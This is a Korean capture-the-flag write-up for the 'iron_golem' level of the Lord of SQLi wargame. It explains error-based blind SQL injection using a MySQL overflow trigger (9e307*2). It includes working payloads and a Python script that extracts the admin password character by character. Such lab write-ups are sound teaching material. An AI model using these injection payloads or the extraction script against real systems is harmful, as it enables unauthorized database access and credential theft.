이번 문제를 보면
if(mysqli_error($db)) exit(mysqli_error($db));
라고 적힌 새로운 문장을 볼수 있다.
이 문장의 뜻은 에러가 발생시 에러페이지 처리를 하겠다는 뜻이다.
우리는 어떤식으로 에러를 일으킬 수 있을까?
-
syntax error
?pw='asdf
라는 문법적 오류를 터트려보았다.
'asdf' 근처에서 syntax 에러가 뜬 것을 확인 할 수가 있다.
-
Logical error
logical error를 이용하는 방법도 있다.
그것은 숫자를 특정 범위 이상으로 터트리는 것이다.
가장 대표적으로 9e307*2 라는 숫자를 사용하면 logical error가 뜬다.
허용하는 숫자 범위가 아니기 때문이다.
가령
?pw=' ||( 9e307*2)%23
을 입력하면
라는 에러 문구를 보여준다.
그러면 이 에러를 이용해서 우리는 무엇을 할 수 있을까?
그것은 바로 error based blind injection이다.
에러기반의 블라인드 인젝션을 원할하게 하기 위해서는 if 문의 사용법을 익혀놓으면 좋다.
if(조건,참일시 적용되는 값, 거짓일시 적용되는 값)
이렇게 세개의 문장이 필요하고 ',' 컴마로 서로 구분지어준다.)
import requests
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?"
headers = {"cookie":"PHPSESSID=123"}
pw =''
for i in range(1,33):
for c in range(22,133):
query = "pw=%27||if(id=%27admin%27%20and%20ord(substr(pw,{},1))={},9e307*2,1)%23".format(i,c)
print(query)
r = requests.get(url+query, headers=headers)
if "DOUBLE value is out of range in '(9e307 * 2)'" in r.text:
pw += chr(c)
print(pw)
break
이런식으로 if 문을 사용할 수가 있다.
if문 안에 들어간
id='admin' and ord(substr(pw,{},1))={}
이 결과가 참일 시에는
9e307*2를 뱉어내서
pw='||9e307*2%23
이 실행되어
화면엔 DOUBLE value is out of range in '9e307*2'
가 출력 될 것이다.
이 점을 이용하면 우리는 pw를 구할 수 있다.